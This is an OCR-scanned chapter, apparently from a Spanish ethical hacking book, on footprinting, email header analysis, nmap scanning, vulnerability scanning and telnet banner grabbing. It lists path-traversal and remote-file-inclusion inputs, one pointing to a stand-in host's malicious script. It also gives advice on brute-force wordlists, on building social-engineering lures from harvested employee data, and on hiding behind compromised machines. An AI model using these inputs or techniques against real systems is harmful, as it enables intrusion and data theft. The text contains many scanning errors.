Disallow: fbuscar.asp
Disallow: fhuscar_todos.asp
Disallow: fquery_maker.asp
Disallow: fquery_maker_todos.asp
Disallow: fintastyle.css
Disallow: */sitemap.htm
Disallow: /prueba/

Paths. Podemos ver el robots.txt en un sitio del gobierno, indexado por
Google, que lista directorios importantes. Esto es un descuido de administracion,
y su existencia es una de las primeras cosas que un intruso va a buscar en un sitio.

Algunas herramientas automatizan la buisqueda a través de Google, como
QGoogle, GoogleScan, Google Enum o SiteDigger de Foundstone. Incontables
scripts en Perl y otras herramientas podran ser encontradas en Securityfocus o
Packetstorm para buscar en Google usuarios de sistema e informacion relacio-
nada al footprinting (Backtrack 2.0 tiene en su coleccion varias de éstas). Pero
la busqueda y el analisis manual es lo mas recomendable para hacerlo de modo
profesional dirigido a un objetivo en concreto. Siempre hay que revisar las ca-
ché de paginas en el resultado de las bisquedas porque quizas algin dato histo-
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rico, no existente a la fecha, sea de utilidad para un embate. Al final del capitu-
lo, veremos cémo clasificar esta informacién encontrada mediante los buscado-
res y analizaremos de qué forma nos puede ser util.

Otros recursos online

Hay otras bases de datos publicas y herramientas que brindaran datos en tiem-
po real en Internet. Entre estos ultimos, los sitios mas conocidos en el pasado
fueron www.samspade.org y www.netcraft.com, que permitian saber el siste-
ma operativo de los servidores, sus rangos de direcciones, qué sistema tenia his-
toricamente, su uptime, IP, los nombres de administradores, teléfonos y direc-
ciones fisicas, entre otras cosas. Como ejemplo, veamos qué datos podemos ob-
tener en el sitio www.all-nettools.com/toolbox, que tiene muchas herramien-

tas. Antes de utilizarlas, conviene leer atentamente el mensaje de advertencia
(WARNING) del sitio, ubicado al pie de la pagina.

* SmartWhois: encuentra informacion acerca de una direccion IP, hostname, inclu-
yendo pais, provincia, ciudad, nombre del proveedor de Internet, su administrador.

¢ CountryWhois: devuelve el pais de donde proviene una direccion IP.

* TraceRoute: devuelve la maquina y la IP de cada salto que da un paquete desde
la maquina original hasta la de destino por Internet. Ademas, también informa el
tiempo en milisegundos que tarda éste.

* Ping: envia un echo request a una maquina especifica en la red. Esto puede ser
utilizado para chequear la comunicacion entre dos maquinas o para ver si el host
especifico esta corriendo o existe.

* NsLookup: resuelve un hostname a direccion IP o viceversa.

* Proxy Test: chequea si un Proxy es realmente anénimo. Este trata de reconocer
la verdadera direccion IP incluso si ésta se encuentra detras de un Proxy httpd.

* Environmental Variables Test: muestra varias configuraciones remotas del
browser y de nuestra maquina.

Mas scripts
Podemos probar otros scripts y herramientas para obtener informacion en sitios como

http:// member.dnsstuff.com/pages/tools.php y http://tools-on.net/net.shtml. Este ti-
po de herramientas permiten, en parte, ubicar en Internet a la organizacion objetivo.
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Shell - Konsole <3>
traceroute
Ve151on 1.4a12
Usage: traceroute [-dFIlnrvx] [-g gateway] [-i iface] [-f first_ttl]
[-m max_ttl] [ -p port] [-q nqueries] [-s src_addr] [-t tos
[-w waittime] [-z pausemsecs] host [packetlen
ping
Usage ping [-LRUbdfnqrvvaA] [-c count] [-i interval] [-w deadline]
[-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
[-M mtu discovery hint] [-S sndbuf]
[ -T timestamp option ] [ -Q tos ] [hopl ...] destination
ping -c 1 www.clarin.com
PING wwwvi.clarin.com (200.42.136.212) 56(84) bytes of data.

--- wwvi.clarin.com ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time Oms

Ping. Los comandos traceroute y ping
desde la consola de comandos (shell) de Linux.

Muchos de los datos obtenidos a través de estas paginas, también pueden conse-
guirse directamente mediante la utilizacion de comandos de consola en un sistema
operativo como Windows, Linux o Unix.

maximos] [-j lista_de_h [-w tiempo_de_esperal

- No convierte direcciones en nombres de hosts.

-h saltos_mdximos Mixima cantidad de saltos en la bhisqueda del
obhjetivo.

-J lista—de-host Enrutamiento relajado de origen a lo largo de la
lista de h

-w tiempo_espera Cantidad de mil gundos entre intentos.

IC:\WINDOUS >ping

WUso: ping [-t] [-al [-n cuental [-1 tamafiol [-f] [-i TTL] [-v TOS1]
[-» cuental [-s cuental [[-j lista-host]l | [~k lista—host1]
[-w tiempo de esperal nombre—-destino

Ping el host eupecxflcado hasta que se pare.
Para ver adisticas y continuar - presionar Control-Inter;
Parar - p i Control-C.
Resolver dlreccloneS en nombres de host.
cuenta Nimero de peticiones eco para enviar.
tamaiio Enviar tamafio del bifer.
Establecer No fragmentar el indicador en paquetes.
Tiempo de ulda
Tipo de servici
cuenta Ruta del reg para la cuenta de saltos.
count Sello de hora para la cuenta de saltos.
lista—host Afloja la ruta de origen a lo largo de la lista— hos
lista—host Restringir la ruta de origen a lo largo de la lista— host.
@ tiempo de es Tiempo de espera en milisegundos para esperar cada
respuesta.

\WINDOUWS >

Tracert. Los comandos tracert y ping desde
la consola de comandos (prompt) de Windows.
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Otro modo de obtenerlos es con herramientas de interfaz grafica en dichos siste-
mas. La diferencia entre utilizar estas ultimas y hacerlo de forma online (a través de
sitios) es que el intruso habil dificilmente lo haga desde su maquina (a menos que
sea a través de un servidor proxy o intermediario) para no dejar rastros en el obje-
tivo de los comandos ejecutados y su busqueda. El intruso inteligente jamas dejara
su direccion IP real en algin log del objetivo, a diferencia del profesional ético que
no ve ningun problema en hacerlo.

= NetScanTools 4.22 (TM)

NetBios Info [ Launcher ] What's New at NWPSW ] Finger ] Daytime ] Quote l Character Generator Client ] Echo I
IDENT Server ] Database Tests ] WinSock Info | HelpWizad |  HowToBuy I Preferences ] About I

Name Server Lookup | Ping I TraceRoute I ‘Whois NetScanner I Port Probe I TimeSync ] TCP Term
n< 7]
Statlp [127.001 - ¢ Stat
Ready. EndlP  [127.001 - Stop
Whois
Setup...
I Enable Whois Queries Clear Results
P [ | e e |
Merge Drilldown
Target IP [ Hostname [Ping  [Time [whois [r o
127.0.0.1 localhost

Translate IPs to
v Host Names

r Add responding
IPs to HOSTS file

Edit Hosts File
Load Hosts

‘ > ®
Print SaveToFiIel Find | Copy ilEmaiIHesultsI Help Wizard | Exit | Ayuda |

Tool. NetScanTools, una de las mas conocidas en Windows.

En cuanto a las bases de datos online, son las del tipo dominios registrados y aque-
llas ligadas a direcciones IP, por ejemplo: www.cuwhois.com, www.robtex.com,
www.register.com y www.lacnic.net. Fistas darin como resultado de la busque-
da un pufiado de datos interesantes acerca de la organizacion, encargados, nombres
y direcciones IP o servidores, entre otras cosas.

Metodologias de chequeo

Si queremos obtener mas informacion sobre las metodologias de chequeo, podemos
visitar las siguientes direcciones: www.oissg.org, www.owasp.org, www.isecom.info-
/mirror/osstmm.en.2. 1.1.pdf y www.vulnerabilityassessment.co.uk/Penetration-
%20Test.html.
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GErTUCaTIF
Bandwidth Meter
1P Address Scanner

Options Help

File Tools | 1P caleulator
System Tools > 1P Converter
Exterior Tools » Port Listener
Extra Tools » Port Scanner
Search Tools F3 Ping
Mini NetTools NetStat
NetTools Notepad Trace Route
Live Chat Now TCP{IP Configuration
| Online - Offline Checker

Stats.... F4 Resolve Host & IP
Bandwidth Monitor Time Sync
Music Player | Whois &MX Lookup
Screensavers »| Connector

Connection Analysator and protector
Exit Range Net Send

Messenger Packet Sniffer

Net Pager

Active and Passive port scanner
Spoofer

DHCP Restart

HTTP flooder (DoS)

Mass Website Visiter
Advanced Port Scanner
Trojan Hunter (multi IP)

Port Connecter Tool
Advanced Spoofer
Advanced Anonymous E-mailer
E-mail Extractor (Crawler)
Mass Auto-Mailer (Spammer)
Mass E-mailer

E-mail Bomber

E-mail Spoofer

Simple Port Scanner (fast)
Advanced Netstat Monitoring
X Pinger

‘Web Page Scanner

Fast Port Scanner

Tool 2. Net Tools 5 es una herramienta win32 que cuenta
con muchas funciones Gtiles desde su amigable interfaz grafica
para realizar IG. http://users.pandora.be/ahmadi/nettools.htm.

Para obtener informacion del tipo contenido histérico de sitios, podemos visitar,
por ejemplo, www.archive.org. Fiste nos muestra, en una linea temporal, las dife-
rentes paginas web que tuvo una actual. Lo importante de esto es que muestra va-
riaciones de contenido en el tiempo (imaginemos nombres de contactos de emplea-
dos, cuentas de e-mail, archivos o directorios sensibles, etcétera).

Cabeceras de correos electronicos

Luego de encontrar un pufiado de casillas de correo de la organizaciéon mediante
Google o bien examinando detenidamente la pagina web institucional, el intruso
tratard de ubicar en la red a la organizaciéon mediante algo de analisis o interaccion.
Interaccién en caso de que no encuentre el codigo de algin correo electronico de
ella, ya que de hacerlo, sélo tendria que analizarlo y comenzar a escanear los puer-
tos y los hosts de sus redes luego de resolver sus direcciones IP.

Podra también compararlos con la direccion IP del sitio web de la empresa para co-
rroborar que estan tercerizando el alojamiento web (hosting) de su pagina web y
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ver si ésta no esta alojado en su propia red.

También obrara de modo légico para obtener otros datos valiosos o aprovechables.

La informacién que puede dar a un intruso un simple correo electrénico es muy

variada e importante. Analicemos un ejemplo de cédigo fuente de un e-mail. Para
verlo, si utilizamos Outlook Express, debemos hacer un click con el botén dere-

cho sobre el e-mail y allf elegir Propiedades/Detalles. Cabe aclarar que este corteo

electrénico es real, pero fue minimamente modificado para salvaguardar la integti-

dad de la seguridad de la informacién de esa organizacion.

Si lo leemos linea por linea detenidamente, veremos que su informacion traza un

camino hasta el receptor y lista los nodos o postas que realiz6 el mensaje hasta

llegar a nuestro buzéon. Generalmente, entrega datos como los que vemos a conti-

nuacion (ya sea desde el codigo fuente o su contenido).

Caddigo fuente de un correo electrénico

B Codigo fuente del mensaje 1
OTL

X-5 TimeoutProtect : 0
Beceive {gmail 29413 ihwdked by uid 0): 24 Aug 2006 12:29:53 000
Recelivre| rom unknown {(HELO smtp-04.arnet.com.ar) {200. } by 0 with
SMTP; 24 Aug 200)/12:29:57 -0000
Received: {gmai 31 invoked from n rk): 24 Aug 2006 12:21:32 -0000
Receivw/ from (HELO terminal oo. .126) by
smtp arnet.cum.ar with SMTP; 24 A oog 1 1:31 -000D
Recel SPF: none {(0: domain at . COM. ar s not designate permitted

sender hosts)
Message-ID: <000501c6c74f5048cadb057ed?75c8@terminal >

From: " ' <infod . COM. ar>
Tq arlos Tori" = >

Ences: <000301c6c7315adlea?30sabE27fcB@unknow:-

téct: Re:

Date: Thu, 24 Aug 2006 09:29:21 +0200

MIME-Version: 1.0

Content-Type: textfplain; format=flowed; charset="iso-8859-1";
reply-type=response

Content-Transfer-Encoding: 8bit

X-Priority: 3

X-MSMail-Priority: Hormal

X-Mailer: Microsoft Outlook Express 6.00.2900.2869
Disposition-Hotification-To: " " <infod . COm. ar:>

X-MimeOLE: Produced By Microsoft MimeOLE ¥6.00.2900.2869
Delivered-To:

Delivered-To:
X-Spam: 0

1- Antivirus: este dato sirve para adaptar algin método para la escalada de
privilegios no detectado por ese antivirus.
2- Servers de correo: en este caso, qmail (http://es.wikipedia.org/wiki/Q-
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mail).

3- Dia y horario: importante para ver a qué hora trabajan o en qué fecha res-

ponden los correos. 4 y 5 Nombres de hosts de los SMTP: hay muchos
ISP regionales y nacionales que poseen fallas y pueden comprometerse.
El intruso no dudara de hacerlo si el sistema de la organizaciéon es mucho
mas seguro. Recordar que el intruso no tiene ética y hara lo que sea nece-
sario para interceptar el flujo de informacion del objetivo.

06- ISP: Arnet en este caso. El intruso puede intentar comprometer el ISP o to-

do aquel nodo por el que pase la informacién de la organizacion.

7- Direccion IP: depende de la topologia de red y del servicio de correo. Los

correos brindan la IP publica del gateway o servidor, el cual se puede buscar
entre los rangos declarados en alguna entidad de registro.

8- Nombres de terminales (PC): terminal y unknown (si, algunos le ponen

nombres divertidos de ese tipo: unknown, HELO, como también los peli-
grosos: contaduria, gerencia, recepcion, etcétera). Sirven para ubicarlos en
una red de direcciones de IP dinamicas (que cambian dfa a dia, luego con
un simple escaner la ubicamos en horario comercial o acorde con el horario
en que nos llegd el e-mail).

9- Origen y casillas de correo: este correo salio de un cliente adsl de Arnet, pa-

s6 por su SMTP tercerizado (Arnet). Su casilla de correo institucional esta li-
gada a un dominio .com.ar registrada en www.nic.ar, del cual durante mucho
tiempo se han podido extraer los e-mails con el que se registraban las perso-
nas y entidades, como podemos leer en www.delitosinformaticos.com/pro-
tecciondatos/casonicar.shtml.

10- Cliente de correo y sistema operativo: Microsoft Outlook Express ver-

sion 6.00.2900.2869. Windows XP SP2 muy probablemente.

11- Informacion en el cuerpo del mensaje: aqui podemos encontrar:

Nombre de empleado que firma y cargo, para utilizar luego al contactar con
otro o tratar de dilucidar logins (usuarios) con el tipico formato primera le-
tra del nombre mas apellido (ctori) o el aclarador modo nombre punto ape-
llido (catlos.tori).
Teléfonos: para hacer llamadas o adornar firmas falsas convincentes.
Direcciones: pueden servir tanto para hacer information gathering en la vida
real como para ingenierfa social.
Tipos de firma y tipos de templates de correo: sirven para confeccionar co-

rreos idénticos para otros niveles de la organizacion y asi poner en marcha
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otra técnica, como la ingenierfa social.

Logos: para replicar logos similares en caso de preparar consultas convin
centes de supuestos colegas o curiosos.

Contactos: para conocer puestos u otros usuarios.

Mecanismos de cifrado: por ejemplo, en una firma puede estar un ID PGP.

Si un intruso da con un usuario de una organizacioén con esa firma, automatica
mente va a saber que ese usuario manejara informacién sensible que debe ci-
frar para comunicarla y centrara especial atencion en élL

Aplicaciones: los contenidos suelen ir firmados por otros tipos de aplicaciones.
Otra informacion: también podemos encontrar el (Campo CC:) Otros usuarios
de la organizacion: al solicitar copias o reenvios y al probarlos como usuario de
sistema, comprobar su actual existencia en la empresa.

Tramos de red internas: algunos e-mails dan los nombres de maquinas de una
red interna y sus respectivas direcciones IP.

En caso de que el intruso no encuentre codigo fuente de este tipo mediante Goo-
gle, s6lo tiene que preguntar algo ligado a la organizacion a un mail de contacto o
a alguna de las casillas que encontréd. No tiene aun que mentir o utilizar ingenieria
social, tema que abordaremos en el proximo capitulo.

Por ejemplo, si la organizaciéon vende maquinas agropecuarias y se le pregunta el
costo de una o la forma de pago, no necesariamente se esta engafiando o mintien-
do al receptor en cuanto a contenido, salvo indirectamente en la intencién poste-
rior del intruso. Este seguramente va a escribir alguna consulta a la casilla de correo
info@dominiovictima.com y esperard una respuesta para analizar su codigo fuente
y, asi, obtener ese tipo de informacion.

Escaneo y fingerprinting

En algunos lugares, estas técnicas se describen por separado de lo que es information
gathering. En este caso no, ya que el ejecutor a través del escaneo y fingerprinting no
deja de recopilar informacion (bastante significante) al asestar un escaneo a los hosts
(mapeo de red) del objetivo o al procesar la informacioén que brinda éste como resulta-
do.

El intruso o el profesional ético, a través del empleo de las técnicas anteriores, ha
logrado ubicar en Internet a la organizacién objetivo mediante rangos de direccio-
nes IP y dominios. Aunque seguramente dispone de otra informaciéon mas detalla-
da, con estos métodos buscara conocet:

* Si los hosts (PC y servers) de una red o determinado rango de Internet estan vi-
vos (funcionando) a través de un network scanning o escaneo de red. Gracias a
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éste, también podra resolver sus nombres y direcciones IP e, incluso, podra loca-
lizar determinado nombre de host o terminal dentro del rango.

* A través de un port scanning: qué puertos estan abiertos, filtrados o cerrados.
Por otro lado, también intentara averiguar qué tipo y version de aplicacion esta
corriendo en esos puertos y qué servicios.

* Con el fingerprinting: qué sistema operativo, version de aplicacion o kernel po-
see el servidor vivo.

* Con el vulnerability scanning podra conocer descuidos de administraciéon o
vulnerabilidades previamente conocidas.

Ahora veamos las respuestas a dos preguntas importantes. ;Como se efectia, técnica-
mente, el escaneo de puertos y con qué herramientas se lleva a cabo? En primer lugar,
para entender el concepto hay que tener pleno conocimiento de la familia de protoco-
los TCP/IP. Igualmente, veamos lo que significa escaneo de puertos TCP SYN segun
Wikipedia

“Para establecer una conexién normal TCP, es necesario seguir una negociacion de
tres pasos. Esta negociacion es iniciada con un paquete SYN en la maquina de ori-
gen, al que la maquina de destino corresponde con un paquete SYN/ACK, que es
finalmente respondido por la maquina que inicia la conexién por un paquete ACK.
Una vez que se han cumplido estos pasos, esta hecha la conexiéon TCP.

Un rastreador de puertos envia muchos paquetes SYN a la maquina que se esta
probando, y mira de qué forma regresan los paquetes para ver el estado de los puer-
tos en el destino, interpretandolos de la siguiente forma:

- Si al enviar un paquete SYN a un puerto especifico, el destino devuelve un SY-
N/ACK, el puerto esta abierto y escuchando conexiones. - En otro caso, si regre-
sa un paquete RST, el puerto esta cerrado. - Por ultimo, si no regresa el paquete, o
si se recibe un paquete ICMP Port Unreachable, el puerto esta filtrado por algin
tipo de cortafuegos.

Haciendo este procedimiento para una lista de puertos conocidos, se logra obtener
un informe de estado de los puertos de la maquina probada.”

En: http://es.wikipedia.org/wiki/Escaner_de_puertos

Veamos un listado de puertos:

Ndmero de puerto Descripcién

1 TCP Port Service Multiplexer TCPMUX
5 Remote Job Entry (RJE)

7 ECHO

18 Message Send Protocol (MSP)

20 FTP — Data

21 FTP — Control
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22 SSH Remote Login Protocol

23 Telnet

25 Simple Mail Transfer Protocol (SMTP)
29 MSG ICP

37 Time

42 Host Name Server (Nameserv)

43 Whols

49 Login Host Protocol (Login)

53 Domain Name System (DNS)

69 Trivial File Transfer Protocol (TFTP)
70 Gopher Services

79 Finger

80 HTTP

103 X.400 Standard

108 SNA Gateway Access Server

109 POP2 110 POP3

115 Simple File Transfer Protocol (SFTP)
Nimero de puerto Descripcidn

118 SQL Services

119 Newsgroup (NNTP)

137 NetBIOS Name Service

139 NetBIOS Datagram Service

143 Interim Mail Access Protocol (IMAP)
150 NetBIOS Session Service

156 SQL Server

161 SNMP

179 Border Gateway Protocol (BGP)
190 Gateway Access Control Protocol
194 Internet Relay Chat (IRC)

197 Directory Location Service (DLS)
389 Lightweight Directory Access Protocol
396 Novell Netware over IP

443 HTTPS

Lbb Simple Network Paging Protocol
445 Microsoft-DS

458 Apple QuickTime

Material adicional sobre escaneos
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546 DHCP Client

547 DHCP Server
563 SNEWS
569 MSN 1080 Socks

Puertos. Well known ports. Puertos conocidos hasta 1024, reservados
para servicios de privilegio. La lista completa de puertos registrados
o0 privados y dinamicos esta en www.iana.org/assignments/port-numbers.

No podemos detallar aqui cémo se comportan a bajo nivel todas las aplicacio-
nes y sistemas operativos, ni como interactian los protocolos de comunicacion
y sus capas, ya que no quedaria espacio para detallar las técnicas basicas de hac-
king ético. Por ello, a lo largo de toda la obra iremos recomendando una serie
de recursos a los que se puede acudir para obtener mas material.

La mayoria de esos métodos se lleva a cabo con las herramientas que ofrece el excelen-
te Nmap. En cuanto al vulnerability scanning, si bien es recomendable hacetlo a ma-
no segun el sistema —apps, plataforma y version-, podemos utilizar productos de ww-
w.eeye.com y www.appsecinc.com. Entre otros, es posible usar Nessus (www.nessu-
s.otg/download/index.php), sctipts en Petl, Python y aplicaciones tanto open source
como win32. que al ser éstos comerciales, se debera pagar una licencia para su utiliza-
cién.

Shell - Konsole <3>
bt nmap -sS www.nnlnews.com

Starting Nmap 4.20 ( http://insecure.org ) at 2007-10-02 17:55 GMT
Interesting ports on mx72.sinspam.com (200.32.4.72):
Not shown: 1687 closed ports

STATE SERVICE

open ftp

open ssh

open smtp

open http

open mit-ml-dev

open pop3

open imap

filtered bgp

open rsync
6667/tcp open irc

Nmap finished: 1 IP address (1 host up) scanned in 31.605 seconds
bt

NMAP. Aqui se ve la ejecucion de nmap contra un host, dando como resultado
los servicios disponibles (puertos abiertos y uno filtrado), su direccion IP y su estado Up.

La instalacién de nmap es muy simple. Luego de descargarlo desde http://insecu-
re.org/nmap/download.html, basta con hacer doble clic sobre el instalador en ca-

so de que sea la version Windows. Para las versiones de Unix, Linux y Solaris, lue-
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go de descomprimir el archivo y meterse en su path (directorio), ingresamos:

$ ./configure
S make
S make install

Aunque podemos consultar el man (ayuda) de nmap o en una lista de correo, co-
mo http://cgi.insecure.org/mailman/listinfo/nmap-hackers, veamos unos ejem-
plos de escaneos en nmap (reemplazar IP con la direccion correcta):

e Listado de puertos: nmap —sS IP

* Barrida de rango: nmap —sS 200.%*.0.2-200 (escanea ese rango de 2 a 200).

* Barrida de rango buscando los puertos SSH, Netbios, FTP y Telnet: nmap —sS
—p 22,21,139,23 200.%*.0.2-200

* Obtener sistema operativo: nmap -O —v IP

¢ Versiones de servicios: nmap -T Aggressive -sV -n -O —v IP

Jmi
Scan Tools Profile Help
b4 =] J ©

New Scan Command Wizard Save Scan OpenScan | Report a bug Help

untitled_scan1 X

Target: v | Profile: | Quick Full version Detection Scan v‘

\
EBX

Command: |nmap -T Aggressive -s¥ -n -O -v <target>

(= Command

nmap <target>

Profile | Scan | Ping | Target | Source | Other | Advanced

Other options

—— The Nmap Frontend

[T Set 1Pv4 time to live (tt) |

[] Fragment IP packets U M IT o 9
[[] verbosity level ‘.0 [ ] I4

[] Extra options definied by user |

Rev. 5715
[] pebugging level lo
: UMIT is the nmap frontend, developed in PyGTK
[ watch packets by Adriano Monteiro Marques <py.adriano@gmail.com>
and was sponsored by Google during the
[[] pisable randomizing scanned ports Summer of Code 2005, 2006 and 2007, Thanks Google!

Copyright (C) 2005 Insecure.Com LLC.

GUI. UMIT (http://umit.sourceforge.net), la agradable interfaz grafica para nmap.
Ahora llamada Zenmap.

Ahora veamos una serie de consejos en cuanto al vulnerability scanning o busqueda

de vulnerabilidades de modo automatizado con un escaner (del tipo Retina):

* Hay que entender qué es lo que busca esta herramienta (principalmente tener
claro el concepto completo sobre vulnerabilidades, sus clases e impacto en lo téc-
nico), que funcién cumple en nuestro trabajo y qué puede brindarnos su busqueda
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como resultado.
Escanear sin mas no tiene sentido en un chequeo de seguridad serio.

* No hay que ponerlo a funcionar con una configuraciéon por defecto. Esto
significa que la herramienta debe estar siempre adecuada al objetivo. Si bien
existen infinidad de herramientas, en su moédulo de seteo (Settings u Opcio-
nes) o bien en el mismo codigo fuente, a la mayoria se le puede optimizar sus
diccionarios (cambiar administrator por administrador por ejemplo en un ca-
so de fuerza bruta) si el sistema objetivo esta en idioma espafiol debido a sus
cuentas de sistema. Si esta herramienta realiza busqueda de directorios, debe-
ra ser ampliado sobre su propia base, alinearlo a los posibles paths que pueda
llegar a tener el sitio y que, de momento, desconocemos.

* No confiar plenamente en todo el output o resultado del analisis (por los
falsos positivos y los errores no reportados).

* Chequear cosas a mano (telnetear, buscar informacién o generar errores a ma-

no), ya que no existe ninguna herramienta que se compare, siquiera minimamen-

te, a nuestra imaginacion.

Descartar los médulos de chequeo de la herramienta, donde obviamente,

esas vulnerabilidades no se encuentran por légica en el objetivo. Esto es

para no DOSearlo (crearle deniales de servicio no esperados, congestionarlo).

Por ejemplo: no vale la pena escanear por vulnerabilidades en Apache si nuestro

webserver es un IIS. En este caso, deberfamos deshabilitar (en caso de que lo tu-
viera) el médulo Apache de nuestra herramienta.

Utilizar varias herramientas o productos: comerciales, open source y priva-
dos. En lo posible conviene hacerlo desde diferentes plataformas y sistemas ope-
rativos. Cada uno posee su versatilidad y recursos.

Inyectar todo tipo de cosas en los querys php, desde caracteres especiales has-
ta direcciones web con scripts que ejecuten comandos, de modo automatizado y

a mano. Estos querys son las llamadas hacia archivos o variables que hacen algu-
nos scripts .php en el servidor, como por ejemplo: sitiovictima/file.php?id=34
(lama a una variable), sitiovictima/file.php?file=encuesta.htm (llama a un at-
chivo). Supongamos que luego del caracter = colocamos comillas simples o
URLs con scripts para ejecutar comandos en el servidor o, simplemente, generar
errores y ver qué informacion nos devuelve este objetivo. Quedatia algo asi en el
browser, luego de lo que presionamos la tecla Enter:

sitiovictima/file.php?file=’
sitiovictima/file.php?file=../../../../../etc/passwd
sitiovictima/file.php?file=/etc/passwd00%
sitiovictima/file.php?file=www.sitiodeporahi.com/scriptmaligno.php
sitiovictima/file.php?file=www.sitiodeporahi.com/archivoasubir.gif
sitiovictima/file.php?file=sitiovictima/file.php
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sitiovictima/file.php?file=file.php
sitiovictima/file.php?file=cualquier cosa para generar errores o lograr al-
go inesperado en la aplicacion

Ninguna herramienta de busqueda automatizada de vulnerabilidades se compara
a la imaginacién y resolucion de un humano en este tipo de tarea. La herramienta
sera rapida y secuencial, pero es incapaz de discernir qué error cometio el progra-
mador o el administrador. S6lo encontrara descuidos tipicos, posibles, conocidos
de antemano. Un chequeo de seguridad basado solo en herramientas, sistemas
operativos y exploits, sin una mente analitica (o varias) detras, no es mas que un
chequeo de descuidos tipicos. Los descuidos mas importantes son los que son
fruto de ese sistema y las partes involucradas. Entre los descuidos tipicos, pode-
mos mencionar: sitiovictima/robots.txt, sitiovictima/backup/ y sitiovicti-
ma/upload.asp.

Probar técnicas de evasion, de modo automatizado y a mano.

Planificar un modelo/patrén de busqueda. Si es un objetivo online (sitio) pa-
ra venta de cachorros (perros), buscar los posibles paths /cachotros/, /backup
canes/, /can/, archivos como: planilla_perros.xls, perros.mdb, base-perros.mdb
y as{ hasta donde nos permita la imaginacién o el tiempo. En el mismo ejemplo,
como passwords de usuarios de correo le agregamos a la herramienta de compro-

bacion la lista de perros de la asociacién canina mundial mas sultan, boby, negra,
mora, chunchuna, atila, entre otros mas comunes como lassie, rintintin y laika.
Luego de lo planificado, intentar otras cosas sobre la base de aquello que
surja y tomar apuntes, analizar resultados en todos los tiempos (antes, durante y
después).

Anécdota

La aplicacion de la Figura 13 se llama R3x, era gratuita en 1999. Fue desarrollada por
el rumano Bodgan Calin, con quien colaboré como betatester reportando sus falsos po-
sitivos. En la actualidad, su nuevo nombre es GFI LANguard Network Security Scanner,
y se trata de una herramienta comercial mucho mas compleja y reconocida.
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Project R3x, version 0.60 (2nd release)
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R3X. Ejemplo de un escaneo de recursos compartidos
a través de netbios y su visualizacion remota a través de Internet Explorer.

La bisqueda de la vulnerabilidad o descuido debe ser légica e ilogica, ya que éstos pue-
den ser grotescos o sutiles. Ponerse a pensar y planificar en este aspecto una hora an-
tes de hacer la emulacion del embate, puede ahorrarnos treinta luego del comienzo.

Telneteo

Esto es la busqueda a mano, de banners y otra informacion.

Telnetear es un modismo que significa utilizar un cliente telnet (aplicacion para
ejecutar comandos telnet) a través de una linea de comandos (ya sea un prompt
MS-DOS o una shell linux o unix), para conectarse a servicios (puertos) de un sis-
tema remoto y asi obtener informacion de éste o a través de éste.

Vayamos al principio. Con un cliente telnet no podremos conectarnos a un servi-
dor SSH (puerto 22, por defecto) y mantener una sesion normal. Son diferentes
protocolos, y siempre hay que respetar el protocolo. No se puede conectar via
cliente FTP a un puerto servidor POP3, ya que ello serfa como querer transmitir
agua por los cables de electricidad. Por otro lado, un puerto abierto no es sinéni-
mo de un puerto por donde se puede entrar literalmente al servidor o algin com-
ponente operativo del sistema. Es solamente un servicio que, en el caso de reque-
rir autentificaciéon (que deba colocarse alli nombre y password para iniciar una se-
sion en el sistema), debera utilizarse un cliente adecuado y su correcta sintaxis pa-
ra su conexion en el servidor y poder asi, mantener una sesion normal.
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Cmd - A Better C d Prompt Repl. Tool - Minefield

ditar Ver Historisl Marcadores Herramientas Ayuda

v c JC | B8 | http:ffwww.powercmd.comf v -Gl

= PowerCmd®

B:' A Better Command Prompt Replacement Tool Home Features Contact us

PowerCmd streamlines your command prompt with an
easy-to-use GUI interface:

- Tabbed control that org: multiple

“75l - Enhanced text editing capabilities

- Add bookmarks and easily move between them

- Filtered command prompt history

- Automatically save the output of consoles

- Searchbar: easy to find anything you want on a console

=(d a toolbar for quick-launching applications
- Display d prompt variables

- Visible AutoCompletion

- Minimize the PowerCMD window

- Customize the appearance

FREE DOWNLOAD:\>

Prompt. PowerCmd (www.powercmd.com) es una herramienta que podria
reemplazar de un modo mejorado al intérprete de comandos de Windows (cmd.exe).
Posee un sistema de registros automatizados y edicién de texto, como también
sugerencias en tiempo real y un entorno agradable a la vista, entre otras cosas.

Telnetear sirve entonces solo para mirar qué hay en ese servicio, y generalmente se
ven sélo los banners, que son unos pequefos carteles con informacion del
servicio, una bienvenida, algin que otro dato importante (como pasa en el puerto
de finger 79) o nada. Logicamente, no se va a telnetear a un puerto que aparece co-
mo cerrado filtrado o cerrado luego de un escaneo de nmap.

Cuando se conecta el cliente telnet a un puerto abierto, la mayorfa de las veces da la
informacioén sin introducir mas que un Enter, un /w y enter en el caso de algunos
servicios Finger, un help o ? en otros. Para entenderlo, veamos algunos ejemplos.

* Al servicio FTP:
conexion: telnet ipvictima 21
respuesta: 220 dominiovictima.com.ar FTP server (Version
wu-2.6.2(2) Mon Aug 25 15:08:21 ART 2003) ready.
Aqui vemos que nos da la version y el nombre del servidor, desde 220 hasta ready
es el banner mostrado.

* Al servicio telnet (puerto 23):
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conexion: telnet ipvictima
respuesta: Trying ipvictima...
Connected to ipvictima.
Escape character is ‘7]’.
** ACCESO RESTRINGIDO A TODO USUARIO AJENO A XXXX **
Username: admin
Password:
Aqui podemos ver que es un servidor en el que se puede autentificar remotamen-
te, y su cartel de aviso o banner de autentificacion.
¢ Al servicio SSH que se encuentra por defecto en el puerto 22:
conexion: telnet ipvictima 22
respuesta: SSH-2.0-OpenSSH_3.8.1pl
Protocol mismatch.
Se ha perdido la conexién con el host.

Aqui da la versidén y el tipo de server SSH.
* Al servicio Finger (puerto 79):
Ejemplo 1:
Conexion: telnet ipvictima 79
Respuesta:

Ejemplo 2:
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Conexion: telnet ipvictima 79
Respuesta:

Trying ipvictima...
Connected to ipvictima.
Escape character is ‘*]'.

Line User Host (s) Idle Location

* 66 vty 0O idle 00:00:00 IPCONECTADA
Interface User Mode Idle Peer Address
Se0/1 Sync PPP 00:00:00 10.10.0.4
Se0/3 Sync PPP 00:00:03 10.10.0.9

Toda esta informaciéon que nos muestran los servicios o puertos telneteados es im-
portante para discernir como seguir el ataque o procedimiento de chequeo. El in-
truso, para telnetear, es muy probable lo haga desde una shell intermedia a su ma-
quina, es decir, que primero se conecte a una maquina (0 mas) que se encuentre
previamente comprometida y que, desde ahi, trate de ver cada uno de los servicios
del objetivo (primero escaneando todos sus servicios disponibles, luego a mano
aquellos que considere interesantes para ver detenidamente). Lo hace de esta ma-
nera para salvaguardar su identidad en la red y no dejar su real IP grabada en el ob-
jetivo. El intruso posee todo el tiempo del mundo para este tipo de busqueda arte-
